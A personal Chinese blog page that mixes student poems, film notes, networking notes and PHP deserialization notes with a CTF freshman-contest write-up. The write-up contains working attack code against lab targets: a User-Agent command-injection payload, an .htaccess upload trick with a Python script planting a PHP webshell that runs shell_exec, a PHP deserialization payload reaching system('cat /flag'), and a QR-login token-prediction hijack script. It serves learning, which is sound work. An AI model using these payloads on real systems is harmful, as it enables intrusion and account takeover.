0%

Welcome to my blog!!!

本博客分享一些日常生活、学习笔记,还有中学时代写的小诗 —— 现在读来满是稚嫩,却也是当时最直白的心境记录。

(嗨休休)虽然现在看起来很空,但是也不充实 ,而且很简陋,以及很随便

不过一定大概也许不一定会充实起来的

如果你偶然点进这里,欢迎时不时造访

碎碎念之外贴一段高中时候很喜欢的文字

那时候总觉得日子又慢又长,香樟常绿,黄昏更暖

热烈年华

~~

我喜欢黄昏下的走道

有人低头、有人仰望

我们努力将一缕微风酿成欢乐烈酒

一起饮下这杯酒吧

连太阳也醉晕了头

回忆起点亮漆黑小径的

是我不能忘却的星斗

——2023.11.


[TOC]

观影记录

  • 《海边的曼彻斯特》
  • 《了不起的盖茨比》
  • 《情书》

《海边的曼彻斯特》

Day

Night

House

Death

Life

Sorrow Of Liftime

《了不起的盖茨比》

The Green Light

Gatsby

Across The Bay

The Castle

Apartment

“ I rang … I wrote … I implored. But not a single one of the sparking hundreds that enjoyed his hospitality… attended the funeral.”

"They are a rotten crowd."

"They are a rotten crowd."

Desolation

web反序列化

serialize* - *unserialize

序列化的基本操作

首先序列化的意义在于利于储存和传递PHP的值,序列化之后的格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class Kengwang
{
public $name = "kengwang";
public $age = 18;
public $sex = true;
public $route = LearningRoute::Web;
public $tag = array("dino", "cdut", "chengdu");
public $girlFriend = null;
private $pants = "red"; // not true
}

enum LearningRoute {
case Web;
case Pwn;
case Misc;
}

$kw = new Kengwang();
print_r(serialize($kw));

// 序列化之后
O:8:"Kengwang":7:{ // 定义了一个对象 [O], 对象名称长度为 [8], 对象类型数为 [7]
s:4:"name";s:8:"kengwang"; // 第一个字段名称是[4]个长度的"name", 值为长度为[8]的字符串([s]) "kengwang"
s:3:"age";i:18; // 第二个字段名称是长度为[3]的"age", 值为整数型([i]): 18
s:3:"sex";b:1; // 第三个字段名称是长度为[3]的"sex", 值为布尔型([b]): 1 -> true
s:5:"route";E:17:"LearningRoute:Web"; // 第四个字段名称是长度为[5]的"route", 值为枚举类型([E]), 枚举值长度为 [17], 值为 "...":
s:3:"tag";a:3:{ // 长度为 [3] 的数组([a])
i:0;s:4:"dino"; // 第[0]个元素
i:1;s:4:"cdut";
i:2;s:7:"chengdu";
}
s:10:"girlFriend";N; // 字段 "girlFriend" 为 NULL
s:15:" Kengwang pants";s:3:"red"; // 私有字段名称为 类型名 字段名, 其中类型名用 NULL 字符包裹
}

魔术方法

魔术方法

  1. __wakeup()方法
    在执行反序列化的时候会检查是否存在此方法,若有则先执行此方法
  2. __sleep()方法
    在执行序列化的时候会检查是否存在此方法,若有则限制性次方
  3. __construct()方法
    PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法

执行顺序

序列化时会先调用 sleep 再调用 destruct, 故而完整的调用顺序为: sleep -> (变量存在) -> destruct

反序列化时如果有 __wakeup 则会调用 __wakeUp 而不是 __construct, 故而逻辑为 __wakeUp/__construct -> (变量存在)

绕过

__wakeup()

当反序列化时, 给出的字段个数的数字小于提供的字段个数, 将不会执行 __wakeup

不完整类绕过序列化检测

-2025WHUCTF新生赛

当我们尝试反序列化到一个不存在的类是, PHP 会使用 __PHP_Incomplete_Class_Name 这个追加的字段来进行存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 1. 先序列化一个对象(备份)
class Cat {
public $name = "咪酱";
}
$cat = new Cat();
$str = serialize($cat);
// 序列化结果:O:3:"Cat":1:{s:4:"name";s:4:"咪酱";}
// 这里面明明白白写了类名是"Cat"


// 2. 现在删除Cat类(模拟新环境没有这个类)
unset($GLOBALS['Cat']);


// 3. 反序列化(恢复备份)
$obj = unserialize($str);


// 4. 看看这个对象是什么样的
echo get_class($obj); // 输出:__PHP_Incomplete_Class(临时类型)

// 把对象转成数组看内部数据
print_r((array)$obj);
// 输出:
// Array (
// [__PHP_Incomplete_Class_Name] => Cat // 这里就是那个“特殊标签”,记着原来的类名
// [name] => 咪酱 // 原来的属性数据还在
// )

简单来讲就是下面四种情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
/**
* PHP __PHP_Incomplete_Class
* 用注释标注每个步骤的输入→变化→输出,类和对象用结构描述,序列化字符串用标准格式
*/

// ==================================== 场景1:反序列化一个不存在的类(无__PHP_Incomplete_Class)
/*
输入:序列化字符串(类User不存在)
O:4:"User":2:{s:4:"name";s:5:"张三";s:3:"age";i:20;}

变化过程:
1. 反序列化时,PHP找不到User类
2. 自动创建__PHP_Incomplete_Class类型的临时对象
3. 给临时对象添加__PHP_Incomplete_Class_Name属性,值为"User"(原始类名)
4. 保留User类的所有原始属性(name、age)

输出:__PHP_Incomplete_Class对象
结构:{
__PHP_Incomplete_Class_Name: "User", // 自动添加的标签属性
name: "张三", // 原始属性
age: 20 // 原始属性
}
*/


// ==================================== 场景2:序列化一个__PHP_Incomplete_Class对象
/*
输入:场景1输出的临时对象
{
__PHP_Incomplete_Class_Name: "User",
name: "张三",
age: 20
}

变化过程:
1. 序列化时,PHP识别到是__PHP_Incomplete_Class对象
2. 读取__PHP_Incomplete_Class_Name的值"User",作为新的类名
3. 删除__PHP_Incomplete_Class_Name属性(不再需要)
4. 属性总数从3减为2(剔除标签属性)
5. 保留其他原始属性(name、age)

输出:序列化字符串(恢复为原始类名,无标签)
O:4:"User":2:{s:4:"name";s:5:"张三";s:3:"age";i:20;}
*/


// ==================================== 场景3:直接序列化不存在的类(创建对象)
/*
输入:尝试实例化不存在的类NoClass
new NoClass();

变化过程:
1. PHP无法实例化未定义的类NoClass
2. 直接抛出错误,不会生成对象
3. 无序列化过程(没有对象可序列化)

输出:错误信息
Fatal error: Uncaught Error: Class "NoClass" not found
*/


// ==================================== 场景4:反序列化含__PHP_Incomplete_Class类名的字符串(标签类存在)
/*
前提:已定义类Student(结构:{name: string, age: int})

输入:序列化字符串(类名是__PHP_Incomplete_Class,含标签属性)
O:22:"__PHP_Incomplete_Class":3:{
s:27:"__PHP_Incomplete_Class_Name";s:7:"Student"; // 标签属性(原始类名)
s:4:"name";s:5:"李四";
s:3:"age";i:22;
}

变化过程:
1. 反序列化时,PHP读取类名是__PHP_Incomplete_Class
2. 检查到__PHP_Incomplete_Class_Name属性,值为"Student"
3. 发现Student类已存在,直接创建Student类对象
4. 将原始属性(name、age)赋值给Student对象

输出:Student类正常对象
结构:Student{
name: "李四",
age: 22
}
*/


// ==================================== 场景4变种:反序列化含__PHP_Incomplete_Class类名的字符串(标签类不存在)
/*
输入:序列化字符串(类名是__PHP_Incomplete_Class,标签类Teacher不存在)
O:22:"__PHP_Incomplete_Class":3:{
s:27:"__PHP_Incomplete_Class_Name";s:7:"Teacher"; // 标签属性(原始类名,不存在)
s:4:"name";s:5:"王五";
s:3:"age";i:30;
}

变化过程:
1. 反序列化时,PHP读取类名是__PHP_Incomplete_Class
2. 检查到__PHP_Incomplete_Class_Name属性,值为"Teacher"
3. 发现Teacher类不存在,创建__PHP_Incomplete_Class临时对象
4. 保留标签属性和原始属性

输出:__PHP_Incomplete_Class临时对象
结构:{
__PHP_Incomplete_Class_Name: "Teacher",
name: "王五",
age: 30
}
*/


// ==================================== 核心逻辑总结(笔记重点)
/*
1. 反序列化不存在的类 → 生成带标签的临时对象(保留原始属性)
2. 序列化临时对象 → 自动恢复为原始类名的字符串(删除标签,属性数-1)
3. 直接实例化不存在的类 → 报错,无法序列化
4. 反序列化含__PHP_Incomplete_Class的字符串:
- 标签类存在 → 恢复为该类的正常对象
- 标签类不存在 → 再次生成临时对象
*/
?>

原生类

php本身存在的类,有些类会存在可调用的方法例如:Error、Exception等


参考网站博客:

WHUCTF新生赛

比上次有进步,但是还是写的很烂,还得加油

web

1.User-Agent

在请求头User-Agent中构造Payload简单绕过一下

1
User-Agent: system('tac /fla' . 'g');

在响应体中得到Flag:WHUCTF{KFc_kr42y_thURsDAy_V_Me_5o_N0w_Pl2Zz2zz}

2.井字棋小游戏

发现是一个简单的纯前端小游戏,翻下代码发现棋盘的参数是数组gameBoard,直接在前端控制台修改一下参数gameBoard = [‘X’, ‘X’ , ‘X’ , null , null, null, null ,null null],然后再点击一下棋盘直接获胜,弹出flag,在network里面看一下具体响应,再响应体里面发现flag:

3.apacherrr

一进去发现一大坨文字直接丢给ai解释大致意思是有三个站点uploaderrr.com,whuctf.com和主站点,先分别访问一下(抓包改一下host头)发现whuctf.com访问不了,uploaderrr.com是个文件上传的地方,一开始直接想到文件上传漏洞发现就算绕过了文件名检测也无法执行shell里面的代码,然后卡住了,问了下师傅+提示,在网上搜了一下,https://luokuang1.github.io/2024/07/23/%E6%B5%85%E8%B0%88ctf%E4%B8%AD-htaccess%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E7%9A%84%E8%BF%90%E7%94%A8/
学习了一下大佬的博客,大概了解到,先上传配置文件让apache把.txt文件当成.php文件来执行文件内容为

1
2
AddType application/x-httpd-php .txt
# php_value engine On

然后再上传一个shell.txt文件执行指令,让ai帮写了一下脚本上传文件+扫目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import requests
import time

TARGET_IP = "127.0.0.1"
TARGET_PORT = 60483
UPLOAD_URL = f"http://{TARGET_IP}:{TARGET_PORT}/upload.php"
FLAG_URL = f"http://{TARGET_IP}:{TARGET_PORT}/uploads/phpinfo.txt"

def upload_file(filename, content, content_type="text/plain"):
try:
files = {
'userfile': (filename, content, content_type),
'MAX_FILE_SIZE': (None, '30000')
}
headers = {
'Host': 'uploaderrr.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0 Safari/537.36',
'Origin': f'http://{TARGET_IP}:{TARGET_PORT}',
'Referer': f'http://{TARGET_IP}:{TARGET_PORT}/'
}
response = requests.post(UPLOAD_URL, files=files, headers=headers, timeout=10)
if response.status_code == 200 and "successfully uploaded" in response.text:
print(f"✅ 成功上传 {filename}")
return True
else:
print(f"❌ 上传 {filename} 失败,响应: {response.text[:200]}")
return False
except Exception as e:
print(f"❌ 上传出错: {str(e)}")
return False

def get_flag():
try:
headers = {
'Host': 'whuctf2025.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0 Safari/537.36'
}
response = requests.get(FLAG_URL, headers=headers, timeout=(15, 60))
if response.status_code == 200:
print("\n📜 终极全局搜索结果:")
print(response.text[:15000])
# 精准提取flag格式
import re
real_flag = re.search(r'whuctf\{[a-zA-Z0-9_]{8,32}\}', response.text)
if real_flag:
print(f"\n🎉 找到终极 Flag: {real_flag.group()}")
return True
else:
print(f"❌ 获取结果失败,状态码: {response.status_code}")
return False
except Exception as e:
print(f"❌ 访问出错: {str(e)}")
return False

def main():
print("=== 终极全局搜索:系统级flag挖掘 ===")
# 脚本:执行5个核心系统命令,覆盖所有藏flag的可能
final_search_content = """<?php
echo "=== 终极全局搜索flag ===";
echo "<br><br>";

// 1. 搜索所有文件内容含whuctf{(精准匹配,不遗漏)
echo "🔍 1. 全系统搜索whuctf{:<br>";
echo shell_exec('grep -r "whuctf{" / --include="*.php" --include="*.txt" --include="*.conf" --include="*.ini" 2>/dev/null | grep -v "proc" | grep -v "sys"');
echo "<br><br>";

// 2. 读取Apache系统级配置文件(最可能藏flag)
echo "🔍 2. 读取Apache系统配置:<br>";
$apache_configs = ["/etc/apache2/apache2.conf", "/etc/apache2/sites-available/000-default.conf"];
foreach($apache_configs as $conf) {
if(file_exists($conf)) {
echo "📄 $conf:<br>";
echo nl2br(shell_exec('grep -E "whuctf|flag" ' . escapeshellarg($conf) . ' 2>/dev/null'));
}
}
echo "<br><br>";

// 3. 读取环境变量(CTF常用藏flag方式)
echo "🔍 3. 系统环境变量:<br>";
echo shell_exec('env | grep -i "flag"');
echo "<br><br>";

// 4. 搜索根目录下所有非系统文件(大小10-1000字节,符合flag文件特征)
echo "🔍 4. 根目录可疑文件:<br>";
echo shell_exec('find / -size +10c -size -1000c -type f ! -path "/proc/*" ! -path "/sys/*" ! -path "/usr/*" ! -path "/lib/*" 2>/dev/null');
echo "<br><br>";

// 5. 读取/var/log日志(可能记录flag相关操作)
echo "🔍 5. 日志文件中的flag:<br>";
echo shell_exec('grep -r "whuctf{" /var/log 2>/dev/null | head -n 5');
?>"""

if not upload_file("phpinfo.txt", final_search_content):
return
time.sleep(5) # 全局搜索耗时,延长等待
get_flag()
print("\n=== 终极搜索完成 ===")

if __name__ == "__main__":
main()

发现flag在环境变量里面:

4.Guild(赛后解出来的,有点可惜)

因为死磕一道题去了导致这个比较简单的没写出来

主要思路是根据给出的服务器后端代码server.jar文件(不知道是不是我方法不对),对这文件进行java反汇编,找到关键文件UserDetailsServiceImpl用户认证逻辑:

UserDetailsServiceImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package top.jwmc.kuri.guild;

import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;

@Service
public class UserDetailsServiceImpl implements UserDetailsService {
public static String USERNAME;
public static String PASSWORD;
@Autowired
PasswordEncoder passwordEncoder;

public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
if (!username.equals(USERNAME)) {
throw new UsernameNotFoundException("User not found");
} else {
String password = this.passwordEncoder.encode(PASSWORD);
return new User(username, password, List.of(new SimpleGrantedAuthority("ADMIN"), new SimpleGrantedAuthority("USER")));
}
}
}

这个主要是发现用户名和密码是静态的

GuildSecurityconfig:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package top.jwmc.kuri.guild;

import org.springframework.security.crypto.password.PasswordEncoder;

class GuildSecurityConfig$1 implements PasswordEncoder {
// $FF: synthetic field
final GuildSecurityConfig this$0;

GuildSecurityConfig$1(final GuildSecurityConfig this$0) {
this.this$0 = this$0;
}

public String encode(CharSequence rawPassword) {
return String.valueOf(rawPassword.toString().hashCode() % 65536);
}

public boolean matches(CharSequence rawPassword, String encodedPassword) {
return String.valueOf(rawPassword.toString().hashCode() % 65536).equals(encodedPassword);
}
}

这个是密码的加密算法是:
$$
( rawpassword->string->hashcode ) mod (65536)
$$
GuildApplication

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ackage top.jwmc.kuri.guild;

import java.util.UUID;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class GuildApplication {
public static void main(String[] args) {
UserDetailsServiceImpl.USERNAME = "admin";
UserDetailsServiceImpl.PASSWORD = UUID.randomUUID().toString();
SpringApplication.run(GuildApplication.class, args);
}
}

发现USERNAME = admin 是硬编码,密码是对 UUID 进行的上述加密,现在只需要找到 UUID 即可

GuildMasterController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package top.jwmc.kuri.guild;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;

@Controller("/")
public class GuildMasterController {
@Autowired
PasswordEncoder passwordEncoder;

@GetMapping({"/"})
public String flag(Model model) {
model.addAttribute("flag", System.getenv("GZCTF_FLAG") == null ? "flag{fake_test_flag}" : System.getenv("GZCTF_FLAG"));
return "index";
}

@GetMapping({"/secret_r0uter"})
public String leak(Model model) {
model.addAttribute("leak", this.passwordEncoder.encode(UserDetailsServiceImpl.PASSWORD));
return "leak";
}
}

注解中发现路径/secret_r0uter 访问一下可发现动态码(UUID)然后进行上述加密找出加密后的字符串即可登录成功得到flag

5.ezUnser(复现)

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
$ser_a1 = $_POST['a'];
$ser_b1 = $_POST['b'];
$c = $_POST['c'];

$obj_a1 = unserialize($ser_a1);
$obj_b1 = unserialize($ser_b1);

$ser_a2 = serialize(unserialize($ser_a1));
$ser_b2 = serialize(unserialize($ser_b1));

$obj_a2 = unserialize($ser_a2);
$obj_b2 = unserialize($ser_b2);

if(get_class($obj_a1) === get_class($obj_a2) || get_class($obj_b1) === get_class($obj_b2)){
die("Nope");
}

if ($ser_a1 != $ser_a2 && $ser_b1 != $ser_b2) {
($obj_a2->$c())($obj_b2->$c());
}

详见序列化和反序列化

题目要求接收 POST 参数abc,并执行以下操作:

  1. ab分别反序列化,得到$obj_a1$obj_b1(第一次反序列化)。
  2. 把第一次反序列化的结果重新序列化,再反序列化,得到$obj_a2$obj_b2(第二次反序列化)。
  3. 限制 1:如果第一次和第二次反序列化得到的对象类名相同(get_class($obj_a1) === get_class($obj_a2)$obj_b1$obj_b2类名相同),则直接退出(die)。
  4. 限制 2:如果第一次序列化字符串($ser_a1$ser_b1)与第二次序列化字符串($ser_a2$ser_b2)不同,则执行:($obj_a2->$c())($obj_b2->$c())(最终目标是让这行代码执行我们想要的命令)

简单说:第一次反序列化得到临时类对象,第二次反序列化会恢复成原始类对象

PHP 的原生异常类(如ErrorException)有一个公共方法getMessage(),作用是返回构造时传入的字符串。例如:

1
2
$e = new Error("system");
echo $e->getMessage(); // 输出字符串 "system"

构造的序列大致为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
a=O:6:"Errora":8:{
s:10:"*message";s:6:"system"; // 核心:存储函数名 "system"
s:13:"Errorstring";s:0:""; // Error类自带属性(空值不影响)
s:7:"*code";i:0; // Error类自带属性(0不影响)
s:7:"*file";s:1:""; // 路径设为空(避免环境差异)
s:7:"*line";i:1; // 行号设为1(避免环境差异)
s:12:"Errortrace";a:0:{}; // 堆栈设为空(不影响)
s:15:"Errorprevious";N; // 前置错误设为null(不影响)
s:27:"__PHP_Incomplete_Class_Name";s:5:"Error"; // 关键标签:原始类是Error
}

b=O:6:"Errora":8:{
s:10:"*message";s:9:"cat /flag"; // 核心:存储命令参数 "cat /flag"
s:13:"Errorstring";s:0:""; // 同上,自带属性
s:7:"*code";i:0;
s:7:"*file";s:1:"";
s:7:"*line";i:1;
s:12:"Errortrace";a:0:{};
s:15:"Errorprevious";N;
s:27:"__PHP_Incomplete_Class_Name";s:5:"Error"; // 同上,标签指向Error
}

c=getMessage // 调用的方法名:获取message中的内容

第一次序列化是临时类,第二次序列化是Error类并且存在可调用的方法拼接后得到system('cat /flag')

5.Zakologin(复现)

学废了,第一次见这种题目

https://chat.deepseek.com/share/xv68423hevqn02bt22

  1. 发现每次发过来二维码的token顺序是固定的
  2. 浏览器轮询
  3. 通过自己的token预测下一个token即别人的二维码,劫持下一个人的二维码,等待别人扫码登录抢先登进去

开了两次容器脚本持续请求记录的token

构造攻击脚本根据请求得到的token预测下一个token并劫持,抢先登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import requests
import hashlib
import time
import re

# 配置信息(关键修正:目标页面端口改为61857,与接口端口一致)
GET_TOKEN_URL = "http://127.0.0.1:61857/login/qrcode/get" # 获取token接口
CHECK_TOKEN_URL = "http://127.0.0.1:61857/login/qrcode/check" # 轮询接口
TARGET_PAGE_URL = "http://127.0.0.1:61857/zakofl4g" # 修正端口为61857
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0",
"Accept": "application/json, text/html, */*"
}


def get_my_token():
"""自己发送请求,获取当前序列的token(确定N)"""
try:
response = requests.get(GET_TOKEN_URL, headers=HEADERS, timeout=10)
data = response.json()
my_token = data.get("token")
if not my_token:
print("❌ 未能获取自己的token,请检查接口")
exit()
print(f"✅ 已获取自己的token: {my_token}")
return my_token
except Exception as e:
print(f"❌ 获取自己的token失败:{e}")
exit()


def find_current_num(my_token):
"""根据自己的token,反向查找对应的数字N(MD5前16位匹配)"""
num = 1
while True:
test_token = hashlib.md5(str(num).encode()).hexdigest()[:16]
if test_token == my_token:
print(f"✅ 匹配成功!你的token对应数字:{num}")
return num
if num > 1000:
print("❌ 未找到匹配的数字,可能生成算法不是MD5(数字)前16位")
exit()
num += 1


def generate_next_token(current_num):
"""生成下一个token(N+1的MD5前16位)"""
next_num = current_num + 1
next_token = hashlib.md5(str(next_num).encode()).hexdigest()[:16]
print(f"🎯 预测下一个用户的token(数字{next_num}): {next_token}")
return next_token


def hijack_next_token(target_token):
"""持续轮询目标token,劫持登录状态"""
print("\n🚀 开始劫持,等待用户使用该token...")
while True:
try:
response = requests.get(
CHECK_TOKEN_URL,
params={"token": target_token},
headers=HEADERS,
timeout=5
)
data = response.json()
code = data.get("code")

if code == 1:
final_token = data.get("token")
print(f"\n🎉 劫持成功!最终登录token: {final_token}")
extract_flag(final_token)
return
elif code == 2:
print(f"\n⚠️ 发现用户扫码!等待手机确认...")
while True:
time.sleep(0.3)
resp = requests.get(CHECK_TOKEN_URL, params={"token": target_token}, headers=HEADERS)
resp_data = resp.json()
if resp_data.get("code") == 1:
final_token = resp_data.get("token")
print(f"🎉 用户确认登录!最终token: {final_token}")
extract_flag(final_token)
return
elif resp_data.get("code") == 3:
print("⚠️ 用户未确认,二维码过期,继续等待下一个用户...")
break
else:
print(f"🔍 等待中... 状态: {data.get('msg', '未扫码')}", end="\r")
time.sleep(0.5)

except Exception as e:
print(f"\n❌ 请求异常:{e},1秒后重试", end="\r")
time.sleep(1)


def extract_flag(final_token):
"""自动访问目标页面,提取flag"""
print("\n🔍 开始自动访问目标页面,提取flag...")
try:
params = {"token": final_token}
headers_with_auth = HEADERS.copy()
headers_with_auth["Authorization"] = f"Bearer {final_token}"

# 访问修正端口后的目标页面
response = requests.get(
TARGET_PAGE_URL,
params=params,
headers=headers_with_auth,
timeout=10
)
response.raise_for_status() # 抛出HTTP错误

# 提取flag{xxx}格式的内容
flag_pattern = r"flag\{[a-zA-Z0-9_@#$%^&*()\-+=]+\}"
match = re.search(flag_pattern, response.text)
if match:
flag = match.group()
print(f"\n🏆 成功提取flag:{flag}")
return

# 检查响应头
for header_name, header_value in response.headers.items():
if "flag" in header_name.lower() and re.search(flag_pattern, str(header_value)):
flag = re.search(flag_pattern, str(header_value)).group()
print(f"\n🏆 从响应头提取flag:{flag}")
return

# 输出页面内容供手动查找
print("\n⚠️ 未找到标准格式flag,以下是页面内容(可手动搜索flag关键词):")
print("-" * 50)
print(response.text[:2000])
print("-" * 50)

except Exception as e:
print(f"\n❌ 提取flag失败:{e}")
print(f"💡 建议手动访问:{TARGET_PAGE_URL}?token={final_token}")


if __name__ == "__main__":
print("=" * 50)
print("📌 开始执行:自查token → 预测下一个 → 劫持 → 提取flag")
print("=" * 50)

my_token = get_my_token()
current_num = find_current_num(my_token)
next_token = generate_next_token(current_num)
hijack_next_token(next_token)


misc

1.猫咪日记

emoji表情首先想到base100解密一下得到flag

2.梅林午餐肉

类似Bacon加密,把C换成A再Bacon解密一下得到flag

3.01AI-Problem(没接触过)

让ai写一个模型根据modeified_mnist给的数据进行训练简单训练一下给出模型文件mnist_model.pth

大致知道流程了,根据给出的训练数据集训练生成一个模型参数然后再根据这个参数识别图案得到密文:20311369131496163448410746113142281526584940390147578688469508297899856840539896843521565163417523789 然后再让读取一下mnist_cnn_weights.pth 里面的的内容得到:

1
odict_keys(['conv1.weight', 'conv1.bias', 'conv2.weight', 'conv2.bias', 'XOR_KEY_PART2_998244353ISAPRIME.weight', 'XOR_KEY_PART2_998244353ISAPRIME.bias', 'XOR_KEY_PART1_CIALLO0d000721.weight', 'XOR_KEY_PART1_CIALLO0d000721.bias'])

发现是异或解密密钥为CIALLO0d000721998244353ISAPRIME然后把密文转16进制进行异或解密得到flag

今天打CTF新生赛时候下载WebSocketReflectorX一直打不开,问了学长也不知道咋回事,于是自己琢磨勒半天,最终也是解决了,然后总结了一下程序运行出现问题的解决方式

在运行对话框里面输入eventvwr.msc 可以打开事件查看器,然后展开 “Windows 日志> 应用程序”,再筛选与程序相关的事件就会看到细节:

然后根据报错就可以知道哪里出问题了,问一下ai也是得到解决方法:

最后把Visual Studio卸载更新就可以正常打开了

计算机网络基础知识学习

OSI七层模型(偏理论,可以尽量看,了解即可):https://www.bilibili.com/video/BV1EU4y1v7ju

应用层:网站与网站之间的交流(常见的http协议)(逻辑上联通)

物理层:物理上传输数据信号(bit)

数据链路层:bit->帧+mac地址(物理地址)(网卡),交换机识别帧和主机mac和目标mac

网络层:bit->包(ip地址(逻辑地址))(->帧) ,路由器根据ip进行转发

传输层:bit->段(端口号+目标端口),端到端(段),TCP协议(可靠传输)和UDP协议(不可靠传输),流量控制和错误控制

会话层:状态保存,同步服务

表示层:加密,解密,压缩等对数据的统一(不同计算机对数据的处理不同)


IPv4和子网掩码https://www.bilibili.com/video/BV1xu411f7UW

ip四组八位二进制数

子网掩码中1的个数表示锁定位,网络数+主机数


TCP/IPhttps://www.bilibili.com/video/BV1854teHE2d 以及 https://www.bilibili.com/video/BV18h41187Ep

TCP(数据大,严谨)和UDP(数据量小,不严谨)

HTTPhttps://www.bilibili.com/video/BV1zb4y127JU

HTTP状态码https://www.bilibili.com/video/BV1jY411u7Zn

HTTPS 加密 证书

HTTP/1.1(队头阻塞) —–> HTTP/2 —–>HTTP/3(QUIC整合TCP和TLS)


几度幽步断山崖

习习凉风携来轻雾

微微醉意笑看薄暮

年轻的铁门关不住人

有人进来有人出

几度幽步断山崖四面风、半边霞

为寻相聚的诗意却觅向分别的夜

拾夏的牙慧、听风的闲语喧闹、嘈杂

将那宏大的意象都捋成似水衷肠

追求自由向往欢愉的人呐

让我们举起酒杯酣谈畅饮直至酩酊 直至天明!

醉后:

长亭衰柳古道旁箭步轻回各自乡

但盼你哪夜归来满船笙管笛箫一胸丘崖陵壑

——2024.06.10 高考后爽玩离开荆州前一天晚上(宿舍清房)


山水过客

你是秀丽的山水

我是无名的过客

你恣意展露你的壮美、温柔与广阔

我尽可默默欣赏

或走马观花或执笔染墨屋檐下烹茶闻红枫红

小桥上点灯听绿筱绿

你的热情充斥五月

没人能带走这一切

当剔透的山樱子铺满小径

你会有下一批游客待迎接

我将到另一方山水去游赏

你我不过山水过客

我在你碧波里投射的倒影

是你在我诗中留下的轮廓

——2024.05.11 游浅山公园


路口

拾起年迈红房边的一块碎瓦

折下巍巍古木上的一条枝丫

孩童的眼睛是如此清澈

他们看那田间舞动的棉桃

是六月红桃、七月雪花

眺望远处的路口

飞驰的背影拂过一户户人家

回头模仿母亲的姿态

双手交叠沉稳步伐

蹦蹦跳跳的天真还给了她

驻足杨柳依依的渡头

常处流波漫漫的路途

无论是在繁华的街道还是落寞的街巷

眺望前方的路口

那疲惫饥肠的背影下汗水洒过一户户人家

——2024.03.09


楼头弯弯月檐下铺满雪杏叶舞尽菊花谢谁闻得昨夜寂寞今日夜

玉兔林中藏微醺犹不觉月下饮酒吹桂风与谁约天仙不至玉盘缺

——2023.12.~


记 311 夜

我记不清当时的景色

怨这宁静的夜色

一条短暂而永恒的跑道

灯影蜿蜒爬上墙

烛光撒在一旁

此夜无月但依旧皎洁

早春无鲜绿却依然芬芳

你名自有馨香

秋千摇曳晚风浣夜

路人脚步声声

像午间在我脚下爆裂的香樟果

像笙管笛箫

远方楼房跳动的方格

此刻凝滞成我们的模样

钟楼响起

言无尽意

你缓缓远去

我的方向与你相反

但我并不孤单

也许在地球的另一端

能再次遇见你

——2024.03.11 记 3.11 夜


田野

泠泠溪流流不过干涸的沟壑

啾啾鸟鸣鸣不出春日的恍惚

若我不在此刻踏入

便不知绚丽背后的迷雾

喜鹊掠动的枝头

屋檐后斜逸出的水墨

被风欺压的老树仍然生出新芽

用生命控诉命运的呕哑

纵然冬日已去凛冽还在、萧瑟依然

见过东篱兰惠、玫瑰艳枝谁还愿拾起落败的昨日

萝卜和油菜的叶子是如此相似

心中尽是蔷薇花怎能寻到蔷薇

——2024.02.13 假日寻春


山间二

黎明之前
是谁换好衣裳背上竹筐木屐唤醒水乡
填满麸皮倒满猪糠谷子洒满篱墙
在缀满冬青的田垄上同山峦攀谈
你轻挥衣襟
